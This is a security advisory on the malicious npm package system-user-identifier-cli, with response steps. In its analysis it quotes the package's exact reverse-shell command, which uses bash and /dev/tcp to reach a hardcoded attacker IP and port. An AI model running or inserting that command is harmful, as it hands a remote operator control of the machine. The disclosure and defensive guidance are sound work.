system-user-identifier-clinpm
Advisory published Updated
system-user-identifier-cli is a confirmed malicious npm package (MAL-2026-4679) that opens a backdoor for remote access (malicious versions 2.0.0, 3.0.0, 4.0.0…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in system-user-identifier-cli (npm)
What this malware does
index.js line 13 executes bash -c "bash -i >& /dev/tcp/101.43.232.7/7777 0>&1" via child_process.exec, opening an interactive reverse shell to the hardcoded attacker-controlled host 101.43.232.7 on TCP port 7777. The shell fires whenever the package's entrypoint is invoked (e.g. npx system-user-identifier-cli or require of the module), giving the operator of that endpoint full interactive control of the installer's machine under the user that ran the tool. The package advertises itself as a trivial 'check system user identifier' utility and ships placeholder author metadata ('Your Name'); the reverse shell is undocumented and inconsistent with the stated purpose. There is no benign interpretation of a hardcoded /dev/tcp/<ip>/<port> bash redirector pointed at an arbitrary public IP.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Search your lockfiles and build artifacts for system-user-identifier-cli (7 malicious versions).
If you installed it — respond
system-user-identifier-cli establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If system-user-identifier-cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks system-user-identifier-cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.